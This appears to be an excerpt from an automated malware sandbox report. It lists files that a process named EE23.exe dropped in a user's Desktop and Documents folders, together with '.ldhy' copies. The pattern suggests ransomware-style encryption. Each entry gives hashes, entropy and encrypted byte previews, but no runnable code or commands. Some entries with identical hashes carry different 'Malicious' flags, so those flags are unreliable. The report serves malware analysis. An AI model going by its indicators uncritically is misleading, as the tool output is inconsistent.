                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.870388206146118
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:B8mF2aDys15uIEZsa5Sh5O9I66c2KaNkq4gqqHXbjtQg8B3u2GnGmE6f+M9F7cNY:B8mFtmsnuI3a5SoIZjNN/qq3bGu2GnqK
                                                                                                                                                                                                                                                              MD5:606EAF4E5A568A133E171EEC1B2CA7AF
                                                                                                                                                                                                                                                              SHA1:F1E7ACF19F2E9EA1F417AED5023DDCCCA73CC8F1
                                                                                                                                                                                                                                                              SHA-256:A09DE43C554472A358FC204483AEDAA1D0BA202D86695641602F8BF83172F7B6
                                                                                                                                                                                                                                                              SHA-512:2F9B657BE51DDAC527E1FFC2E07F3874FB1779A462CA81EE438213EB10D65D76DBCC9CDCFBFDFCA1654BBD26C93646FE3B94D7A6336870E65FA2B6881339D882
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ^.`g0.`..6*..Kr..I3s.....BL.....*.B...3*.kBs/?..`.W.C...w.[..#..J1.EPy.X.^e?.B...A.&0+....5;...G"...@(.BL...A..."..B(.y]...t.MWd:..K.).4...%......V.wF<.8~.....b..,.c..[N..>_ ..V...V...PV......=.h..OWe.;...G...a.....0...)Q...@....6bu.Oyq.a.)...\......q....c..B.|..u.....y....Y..d.(3..+.................N..{|..o..?H..a.Vo[.).......gS.#.GRf}..@..,eu.YS.....,.0....,...c.h./x.D=....t.6....v...~.m..h...].........!.O....$..J_..>.....=.w@.......B.TX/...|7.+.i.Z.0...7..._......l.d....E..@.........I,....q%.mI....T.:..@.Q10..h.-........r..j...l.s...?....`..*.EU ....H.:......1a4.....i.9..z....~DW....1._*.&..!5..j..8.[.#.Ar....X..3...~Gi.9..t.g._j*i....6q..O..P..F.OSb@.;...zw....1ba7us.......`..-......K!.%.`.s.....4).....8.C....l.o...'H..4.........j7...S...7@...Z..F+.^k......7..p$....0z.@(%.e...'.Z.3.9]..hp.b.....'.pH..f. .....`.7./.t..Q.3....r...%^.>.`......w...b3H..Z.).<.9..~b....v.K..dNeA\..X(...BR%..|..]hK..f.,....2...+...l.-..M%.H

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\UNKRLCVOHV.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844485405203863
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:0STOGNMMAzTgVNUNGMq12AUYcxUI2fHplkeP3ck1Vqg6eMxQZyidMfijxdzybFuU:0S+gUNo2AUMdfcePMknqRXeMqjHzy8Cd
                                                                                                                                                                                                                                                              MD5:B12E9D2044608EDDDC6604E16923CF0F
                                                                                                                                                                                                                                                              SHA1:9C900C6C5468DA4E60D2B95E8AD85B7E211DB0F7
                                                                                                                                                                                                                                                              SHA-256:F6A9E7ADB6B065747C15DBAAA6A0D229A5A362BFDFF9E52C89C1D694061A2D26
                                                                                                                                                                                                                                                              SHA-512:C91A7897AC18FC1B319CDED0E390BF6B79AD8C6810CE3DB9BC9FFEDB2AEDD28FCB408D43222BF0F2BCE40A6AC40176E990EE58395F9CD22D2E6D3098B34D76CE
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:UNKRL.P.S.....w..H.$...I.#..jD9..r.&O./......M.....r.I.t...i.P.Y../..0.'ia.]p.E.3.... .J....lK..?3.'A.!.V.8..Wx#.t#...\?.H....K_.M.j..N2.fz.~."..q.?...f.R6......#..C:.H.....W....@]K...8.....e......&C$....oo..I".....:.K.^.......F.Z..7..CK.#.$?P]r....@....m.OA.Y....MJ.5.q........U.V^5..k{..nj..1f@....d......&.....J]$.X..G.<.-...k...g-.K!.`3H."..[nvIg....k..9.......6..#..B.Rr6..M.c.O...'..;r0....Mt.yA...Z.Y.z..OF.2.........N.;.E.?6..E`Y^.@.V.....9P[ZRnYL..i.P.9y..!...8.....I(....da...`),..Q......~.D..$B....^.K....j.V..G.7E.*.....^...,.ttm14..yb.1^..lX....M.e.......u.=..W.l....k.L..H.H.......s.1..an.....3.r..6O.HkOe.J./.w-i.9T.U...F~...?.w....@.........F..S$:.$B3..E.q......[....;.d.0"..h..9...u....%.J..-.....e....{...1...<U~@..MG..>.....A..y0....w......$+.m#.WO.......+s...:.t|.p....x....}.U.x.B|..K....E...G)*.........C..y2%1.#.q.AW...6...e%...T.k.....r..X......b.....T.3..`..x>Tz.{.{..a.7..m.i...%......[.....v......>.{[...Y....-....f.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\UNKRLCVOHV.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844485405203863
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:0STOGNMMAzTgVNUNGMq12AUYcxUI2fHplkeP3ck1Vqg6eMxQZyidMfijxdzybFuU:0S+gUNo2AUMdfcePMknqRXeMqjHzy8Cd
                                                                                                                                                                                                                                                              MD5:B12E9D2044608EDDDC6604E16923CF0F
                                                                                                                                                                                                                                                              SHA1:9C900C6C5468DA4E60D2B95E8AD85B7E211DB0F7
                                                                                                                                                                                                                                                              SHA-256:F6A9E7ADB6B065747C15DBAAA6A0D229A5A362BFDFF9E52C89C1D694061A2D26
                                                                                                                                                                                                                                                              SHA-512:C91A7897AC18FC1B319CDED0E390BF6B79AD8C6810CE3DB9BC9FFEDB2AEDD28FCB408D43222BF0F2BCE40A6AC40176E990EE58395F9CD22D2E6D3098B34D76CE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL.P.S.....w..H.$...I.#..jD9..r.&O./......M.....r.I.t...i.P.Y../..0.'ia.]p.E.3.... .J....lK..?3.'A.!.V.8..Wx#.t#...\?.H....K_.M.j..N2.fz.~."..q.?...f.R6......#..C:.H.....W....@]K...8.....e......&C$....oo..I".....:.K.^.......F.Z..7..CK.#.$?P]r....@....m.OA.Y....MJ.5.q........U.V^5..k{..nj..1f@....d......&.....J]$.X..G.<.-...k...g-.K!.`3H."..[nvIg....k..9.......6..#..B.Rr6..M.c.O...'..;r0....Mt.yA...Z.Y.z..OF.2.........N.;.E.?6..E`Y^.@.V.....9P[ZRnYL..i.P.9y..!...8.....I(....da...`),..Q......~.D..$B....^.K....j.V..G.7E.*.....^...,.ttm14..yb.1^..lX....M.e.......u.=..W.l....k.L..H.H.......s.1..an.....3.r..6O.HkOe.J./.w-i.9T.U...F~...?.w....@.........F..S$:.$B3..E.q......[....;.d.0"..h..9...u....%.J..-.....e....{...1...<U~@..MG..>.....A..y0....w......$+.m#.WO.......+s...:.t|.p....x....}.U.x.B|..K....E...G)*.........C..y2%1.#.q.AW...6...e%...T.k.....r..X......b.....T.3..`..x>Tz.{.{..a.7..m.i...%......[.....v......>.{[...Y....-....f.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\ZIPXYXWIOY.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8562111991968315
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:og45qwLAvnO4k29wDX9KZTTbHdOtyLixXGDrECGtTeJs5XRNLzZLaPJP264UmlsX:og45tLEnO4kX4TdOtCigDrEltTTlRNuV
                                                                                                                                                                                                                                                              MD5:3FB381E8439723BAEF3CC909DFA5E52A
                                                                                                                                                                                                                                                              SHA1:2D5CCE6FD9EBAEADA073A2A50688F46099E1D798
                                                                                                                                                                                                                                                              SHA-256:6352E350C84D8A8350948F5E4E52B6FDCDD06C192DC0D57CDB408E6E0B49C1FC
                                                                                                                                                                                                                                                              SHA-512:363CE38EEF07A9BA9F6F675FEE53862FA3D55E830F148275F37AB5669E9E024986C24EC3D1C2F15D98BFE6EBC94D5F2E6B353EF01282B1C2C8AAF165EAAB9C68
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY...<K....a..# N...n.dAn.D....&z..]q-.k.j.3..[.1.f..6....)I...j...=T.(....w').6*...*.E6../.A=/.5:yKN...\.....[g....."m3oS.f.....J...o..C........^.9.$....!....m...^7|..5...U...8.YJ.CR...*me..x..XA".*.t...F.8._.}...B.p..W8.:....@.[.......I.....1........... ......*..O-.....B...r...I7.....p.r...i.....A.X.3..,.wQx....^V.{e....m.f.......s......`.J...4P.Jd..9.).I....;.V.....Y*o.....%.G.W$J.......6.G........2..l..k.....7#..$9.......0?.<h..<.u$.2F.2...V..8.....o.n..g=Bo.UQ`...N... ....G.N9@...6w.(B.F......7`.*.Vae:}Hd6|.w.@v..j.U...n...4.Nu.T.8r...Y...x...m.a...)..S%.~....Q...zl...Ho...*..K.Or.C..c#.{}.>..tu.10...Nwz"R...W'. ..H.....E%"..).UOK..i........i8.....M.#9w...C.p...jn..;1..Kc(>...W.".].p....~. =...O4,..U.....}"...HN...........4o..)..3...?..3)b\G.!r....[.M....P.k..t.B..*5.g.P.B.....+....)..0X...F....+....c|....FJj1..0.G........~...z.....3..*%.N%..tI..2.......U&.=Dz...vp.o..#.S..;;.K,t.j.. A.q.Gf.'@.6......B.=`.h0w."...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\ZIPXYXWIOY.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8562111991968315
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:og45qwLAvnO4k29wDX9KZTTbHdOtyLixXGDrECGtTeJs5XRNLzZLaPJP264UmlsX:og45tLEnO4kX4TdOtCigDrEltTTlRNuV
                                                                                                                                                                                                                                                              MD5:3FB381E8439723BAEF3CC909DFA5E52A
                                                                                                                                                                                                                                                              SHA1:2D5CCE6FD9EBAEADA073A2A50688F46099E1D798
                                                                                                                                                                                                                                                              SHA-256:6352E350C84D8A8350948F5E4E52B6FDCDD06C192DC0D57CDB408E6E0B49C1FC
                                                                                                                                                                                                                                                              SHA-512:363CE38EEF07A9BA9F6F675FEE53862FA3D55E830F148275F37AB5669E9E024986C24EC3D1C2F15D98BFE6EBC94D5F2E6B353EF01282B1C2C8AAF165EAAB9C68
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY...<K....a..# N...n.dAn.D....&z..]q-.k.j.3..[.1.f..6....)I...j...=T.(....w').6*...*.E6../.A=/.5:yKN...\.....[g....."m3oS.f.....J...o..C........^.9.$....!....m...^7|..5...U...8.YJ.CR...*me..x..XA".*.t...F.8._.}...B.p..W8.:....@.[.......I.....1........... ......*..O-.....B...r...I7.....p.r...i.....A.X.3..,.wQx....^V.{e....m.f.......s......`.J...4P.Jd..9.).I....;.V.....Y*o.....%.G.W$J.......6.G........2..l..k.....7#..$9.......0?.<h..<.u$.2F.2...V..8.....o.n..g=Bo.UQ`...N... ....G.N9@...6w.(B.F......7`.*.Vae:}Hd6|.w.@v..j.U...n...4.Nu.T.8r...Y...x...m.a...)..S%.~....Q...zl...Ho...*..K.Or.C..c#.{}.>..tu.10...Nwz"R...W'. ..H.....E%"..).UOK..i........i8.....M.#9w...C.p...jn..;1..Kc(>...W.".].p....~. =...O4,..U.....}"...HN...........4o..)..3...?..3)b\G.!r....[.M....P.k..t.B..*5.g.P.B.....+....)..0X...F....+....c|....FJj1..0.G........~...z.....3..*%.N%..tI..2.......U&.=Dz...vp.o..#.S..;;.K,t.j.. A.q.Gf.'@.6......B.=`.h0w."...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\BNAGMGSPLO.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.857748021417858
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:CSBaeJZsTIjgaJzD+xqd1d96y1oi1p9YA0xzFookLJk8HU9q+iCSKZa6vfsbD:CKaeoTUgaJzD6m1d96qbFYA0xzP8yqZf
                                                                                                                                                                                                                                                              MD5:3A9D34231213F3A8BD029EBA9A7CAEA8
                                                                                                                                                                                                                                                              SHA1:97EE6DAB8F6E8DFEE5F1F3834A59918CFEB248F5
                                                                                                                                                                                                                                                              SHA-256:5DB1174B451D2598E28004E5D52F542EE8046B03A92F589BBC35B3C6A1E9257A
                                                                                                                                                                                                                                                              SHA-512:F003979665FC75CD84581AB470DB423B84A4850E55F613332A787F86A9277A6688F17724F267CE95511769133923ABAA6A5C35CF1C50314197A9753E7F20BDA4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM8.m..:mQ4....8".)....Yp.O..r....N.$..E<!..w.....b...~...9t.......w...x...8...2t.7.n......8r....s9<......e......rV..}.a.).*....R..Z..z....0[.^#wt....]8.Z..Et.@.IE4..c.[...Q.\~.HK./..N.qP]k.B.........H..SH".?.d...p./.x.....f.L.._..|.>53.....&l:K.=l)....Z:*9fi...i..'.....u~.s.I%.\A...^G+S..$.0.........5....O.~.$..?..O.b.81h.........n....M..T.....N3..}.u-.....5.W.s......w.P<..>......l.6..p."zs.#k.....C[.p...-...^.S.=.PAW.......D......H.">.............>...(.w..\.nH.&.o.Tq..0.mBv.^...~u...@d=8rL..Z=_.......%.>....T...APf,&..Hb.8...bVI.1..C.=X#....?...F...IZ....w.......'..?=.ph.;.+,......Gd.U6...4........j.../.e(."-.RV.....R..V..*e.X.C......V...I.jLs.z...D..nw..&..+.._.AW....].0'o...9.3.1.h...0N,|H...To..C......ta..5+j..,..!.qsu.......D_^7.Q.... .K.G!R....<Q.>...;...L.."s.8.[..d....D..[.n.|^...g..J.#.].v...k..V..EL...E..7.~._.Y[........%G.n#P~..F..|..t.R..e(.80G.8..zn...)0.2..+..S..P..G..q.F..I.G.`.wu...M.......#....Q...E.i`\.)..;G.M..%

                                                                                                                                                                                                                                                              C:\Users\user\Documents\BNAGMGSPLO.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.857748021417858
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:CSBaeJZsTIjgaJzD+xqd1d96y1oi1p9YA0xzFookLJk8HU9q+iCSKZa6vfsbD:CKaeoTUgaJzD6m1d96qbFYA0xzP8yqZf
                                                                                                                                                                                                                                                              MD5:3A9D34231213F3A8BD029EBA9A7CAEA8
                                                                                                                                                                                                                                                              SHA1:97EE6DAB8F6E8DFEE5F1F3834A59918CFEB248F5
                                                                                                                                                                                                                                                              SHA-256:5DB1174B451D2598E28004E5D52F542EE8046B03A92F589BBC35B3C6A1E9257A
                                                                                                                                                                                                                                                              SHA-512:F003979665FC75CD84581AB470DB423B84A4850E55F613332A787F86A9277A6688F17724F267CE95511769133923ABAA6A5C35CF1C50314197A9753E7F20BDA4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM8.m..:mQ4....8".)....Yp.O..r....N.$..E<!..w.....b...~...9t.......w...x...8...2t.7.n......8r....s9<......e......rV..}.a.).*....R..Z..z....0[.^#wt....]8.Z..Et.@.IE4..c.[...Q.\~.HK./..N.qP]k.B.........H..SH".?.d...p./.x.....f.L.._..|.>53.....&l:K.=l)....Z:*9fi...i..'.....u~.s.I%.\A...^G+S..$.0.........5....O.~.$..?..O.b.81h.........n....M..T.....N3..}.u-.....5.W.s......w.P<..>......l.6..p."zs.#k.....C[.p...-...^.S.=.PAW.......D......H.">.............>...(.w..\.nH.&.o.Tq..0.mBv.^...~u...@d=8rL..Z=_.......%.>....T...APf,&..Hb.8...bVI.1..C.=X#....?...F...IZ....w.......'..?=.ph.;.+,......Gd.U6...4........j.../.e(."-.RV.....R..V..*e.X.C......V...I.jLs.z...D..nw..&..+.._.AW....].0'o...9.3.1.h...0N,|H...To..C......ta..5+j..,..!.qsu.......D_^7.Q.... .K.G!R....<Q.>...;...L.."s.8.[..d....D..[.n.|^...g..J.#.].v...k..V..EL...E..7.~._.Y[........%G.n#P~..F..|..t.R..e(.80G.8..zn...)0.2..+..S..P..G..q.F..I.G.`.wu...M.......#....Q...E.i`\.)..;G.M..%

                                                                                                                                                                                                                                                              C:\Users\user\Documents\DUUDTUBZFW.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8725982074635095
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vwbqn8lUjMMrTAqHzra3TSKyaSoGmRikQrI0mPlyj7S4TzNhXsbD:vwbqn86jMMrTAqT+3RuTkQrfmtXaXmD
                                                                                                                                                                                                                                                              MD5:4156AC1132D1FE0617BCCD067189A1DB
                                                                                                                                                                                                                                                              SHA1:72F3A2F3A4813AB73DFDCDA7789371BE2CC7D49E
                                                                                                                                                                                                                                                              SHA-256:FA9FCD1A223F0810C3025ADFE2274289CB86916F8DD0D8A108E77CDC70D78645
                                                                                                                                                                                                                                                              SHA-512:98C497A447542AE7EC9B9DDFB952D2769CFC9BC920AFFE82DA3E1E448057E36CECFCBD9730038B594B0DAB1663FDFB54D85F96B295732F2439BC886A1B715AFF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT,..v.....AN|:.q....;suKK..?T*..;..S.Y.y..Z.......<.'....\1.)v.4.U...mQw..l.......x1.....=..R..e.b....=..s!:3|.v...2..."..$.p...Y.h......3..#"...7.t.....b..&Z..G...|.m..&@.+P.c1....vR.?1Y,,E.V..W........;,......D....u../..vjc....;.5_.on>.u...N..%.!..+._WJ..).>z~..+.O".Y.9C,.3Q}..,..&..=AoV,.o...Z.;.......P....gd.....N...~Y....O$."E..u]....MI.....B/...........$.D.!.Y.p.|G..2J..*...*`..%..k....Z.J![.R.r..M..l..7..K...Dq..F..D.:.to.m.....6{..`N..u}P.....MI.#..(.....w...4.xY.G..jk....^.^....W.S2."...@.NV..}....<.l.<<.1.....b>....._....pR.c....`-.V.Q".r.....y.<......@Q3.....%[.].r...j..+..e.i...p..4~4>....Z.b.c...z.v...US.H.i.i.K..+.Fq.Fd..E..a.0.....N...0HM..aq..i...c..7}J..-rT.s8...-.8..Nu_..QE.:...Bv..V.&1kxp.:.>.......r.H.Uz....... ..p.....%=0k,.s.[.....8.l...,..Fy.ik........."3....gX.(..#a..m...A..$..x. `j..c.......}...c.r..0v....=NW..3..k.|........1.o...<&.9..t.H9n\.n.....$.^.0d.$..uN...D.....l.wR.f.^.....(..'.*.._B..XZ. ).Y.H...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\DUUDTUBZFW.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8725982074635095
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vwbqn8lUjMMrTAqHzra3TSKyaSoGmRikQrI0mPlyj7S4TzNhXsbD:vwbqn86jMMrTAqT+3RuTkQrfmtXaXmD
                                                                                                                                                                                                                                                              MD5:4156AC1132D1FE0617BCCD067189A1DB
                                                                                                                                                                                                                                                              SHA1:72F3A2F3A4813AB73DFDCDA7789371BE2CC7D49E
                                                                                                                                                                                                                                                              SHA-256:FA9FCD1A223F0810C3025ADFE2274289CB86916F8DD0D8A108E77CDC70D78645
                                                                                                                                                                                                                                                              SHA-512:98C497A447542AE7EC9B9DDFB952D2769CFC9BC920AFFE82DA3E1E448057E36CECFCBD9730038B594B0DAB1663FDFB54D85F96B295732F2439BC886A1B715AFF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT,..v.....AN|:.q....;suKK..?T*..;..S.Y.y..Z.......<.'....\1.)v.4.U...mQw..l.......x1.....=..R..e.b....=..s!:3|.v...2..."..$.p...Y.h......3..#"...7.t.....b..&Z..G...|.m..&@.+P.c1....vR.?1Y,,E.V..W........;,......D....u../..vjc....;.5_.on>.u...N..%.!..+._WJ..).>z~..+.O".Y.9C,.3Q}..,..&..=AoV,.o...Z.;.......P....gd.....N...~Y....O$."E..u]....MI.....B/...........$.D.!.Y.p.|G..2J..*...*`..%..k....Z.J![.R.r..M..l..7..K...Dq..F..D.:.to.m.....6{..`N..u}P.....MI.#..(.....w...4.xY.G..jk....^.^....W.S2."...@.NV..}....<.l.<<.1.....b>....._....pR.c....`-.V.Q".r.....y.<......@Q3.....%[.].r...j..+..e.i...p..4~4>....Z.b.c...z.v...US.H.i.i.K..+.Fq.Fd..E..a.0.....N...0HM..aq..i...c..7}J..-rT.s8...-.8..Nu_..QE.:...Bv..V.&1kxp.:.>.......r.H.Uz....... ..p.....%=0k,.s.[.....8.l...,..Fy.ik........."3....gX.(..#a..m...A..$..x. `j..c.......}...c.r..0v....=NW..3..k.|........1.o...<&.9..t.H9n\.n.....$.^.0d.$..uN...D.....l.wR.f.^.....(..'.*.._B..XZ. ).Y.H...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839867280498868
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:KS+z4aKfNdY+EgdXVZ0xk1LEb8TolxxfmSebwtCSgRyHDicz4ysbD:ezafQkdr0xk1LEiWbeSeIiZymD
                                                                                                                                                                                                                                                              MD5:DA88D28C958BA753D11E193F8B27B950
                                                                                                                                                                                                                                                              SHA1:1BEF6251E1C8E0BFA2FFA86A0287AA831CF2AA99
                                                                                                                                                                                                                                                              SHA-256:8115C54B9E546AD96A494FEFB65093CB23BBC05A43DDE5310F2C87142CA02355
                                                                                                                                                                                                                                                              SHA-512:44F1FEF1A5F234FDFB9ADDE4A1C8E849E224C0CD11D99FF37B89FBCD4990EFA44BD9CE3A8A5D461C536133322E1A4FB0124CD821B6338CAEB71A5091D6ACC266
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX3j.^..(...N.............6W(... ..QH.........K..);YY..US.....f..E[..d.....M..5W\t..Po...k..(o.Dz....~.z..b.l6<9'...p.R.ld......8w.Y.O.7V&).Q._..f..ZZ.ny.O...>..)...4.....S.v..Z....0..\`[4.......!.....~..s..K)^..(.F..Ef..s...?@..n.U.....J7T...Zy..wa).#lZ...yG..,.'....{.......W.>G ..,9.'..2?...R..[l....S.....`'.0...R\k;..]F.|.s."....t:....r"..!..'#.0...r..I..S.)...6".n..j..n.s.FQ.J...|S....Z.-K...V6....])..2> ..1....V[jLI.$...L)..^..t.(.S.@vvd.+.SB....^.0U.?v..Z..R>...E.(.Ww.9..>To.U....j.B.....d.4u.AFHw....;.J.&6. ..mb...L....&.d8R..~....e..6`..-m.'.@.]s..5....h.....P.)....gt.Ez5.s.B2...h.4,.w-..d.-U...g.[.nt.x..w...........g..f.~...+d-._Z9......I...(.q=..&Z..A.^..4.m3J.=..u..I...!.r....5@.....S..c..z.G...-..`+.S.;....>.{........ym..J..R\......`.......b......O.....e.<...q'......5.vXc.b.....X.... X{..%.w..y.8S.|k...M.....v..g.<...M...(.m...=K..dw....(...N..xY.m..b.w...O.XaR-..9t..."\eW..},..O.=H...........f......T....6...g}&..K...x.m.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839867280498868
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:KS+z4aKfNdY+EgdXVZ0xk1LEb8TolxxfmSebwtCSgRyHDicz4ysbD:ezafQkdr0xk1LEiWbeSeIiZymD
                                                                                                                                                                                                                                                              MD5:DA88D28C958BA753D11E193F8B27B950
                                                                                                                                                                                                                                                              SHA1:1BEF6251E1C8E0BFA2FFA86A0287AA831CF2AA99
                                                                                                                                                                                                                                                              SHA-256:8115C54B9E546AD96A494FEFB65093CB23BBC05A43DDE5310F2C87142CA02355
                                                                                                                                                                                                                                                              SHA-512:44F1FEF1A5F234FDFB9ADDE4A1C8E849E224C0CD11D99FF37B89FBCD4990EFA44BD9CE3A8A5D461C536133322E1A4FB0124CD821B6338CAEB71A5091D6ACC266
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX3j.^..(...N.............6W(... ..QH.........K..);YY..US.....f..E[..d.....M..5W\t..Po...k..(o.Dz....~.z..b.l6<9'...p.R.ld......8w.Y.O.7V&).Q._..f..ZZ.ny.O...>..)...4.....S.v..Z....0..\`[4.......!.....~..s..K)^..(.F..Ef..s...?@..n.U.....J7T...Zy..wa).#lZ...yG..,.'....{.......W.>G ..,9.'..2?...R..[l....S.....`'.0...R\k;..]F.|.s."....t:....r"..!..'#.0...r..I..S.)...6".n..j..n.s.FQ.J...|S....Z.-K...V6....])..2> ..1....V[jLI.$...L)..^..t.(.S.@vvd.+.SB....^.0U.?v..Z..R>...E.(.Ww.9..>To.U....j.B.....d.4u.AFHw....;.J.&6. ..mb...L....&.d8R..~....e..6`..-m.'.@.]s..5....h.....P.)....gt.Ez5.s.B2...h.4,.w-..d.-U...g.[.nt.x..w...........g..f.~...+d-._Z9......I...(.q=..&Z..A.^..4.m3J.=..u..I...!.r....5@.....S..c..z.G...-..`+.S.;....>.{........ym..J..R\......`.......b......O.....e.<...q'......5.vXc.b.....X.... X{..%.w..y.8S.|k...M.....v..g.<...M...(.m...=K..dw....(...N..xY.m..b.w...O.XaR-..9t..."\eW..},..O.=H...........f......T....6...g}&..K...x.m.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.85844474344809
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:lficaMK4YBMkiehY+1hSTyZkZs5YMw90sbJLhCO0sLrXv2sbD:l6Z4oM4Y+1hSTikZV1Lo0rXv2mD
                                                                                                                                                                                                                                                              MD5:9A7353C537925B715D75AB04FDE1A7C2
                                                                                                                                                                                                                                                              SHA1:D14974A516DEBCE5D58D05A195A22DB0639E28E8
                                                                                                                                                                                                                                                              SHA-256:95BB08FFC743E370F702044D47483E436237D3A6E5EF1A48F421F48C392760EF
                                                                                                                                                                                                                                                              SHA-512:83E692D7B51A7F02181817494DCADECA2CA747646423828332D4E2375A4720BBA9B1D91350280068340B7E96820873C2AEF7436C148A2516AFBBB2A403E3E5BE
                                                                                                                                                                                                                                                              Malicious:false
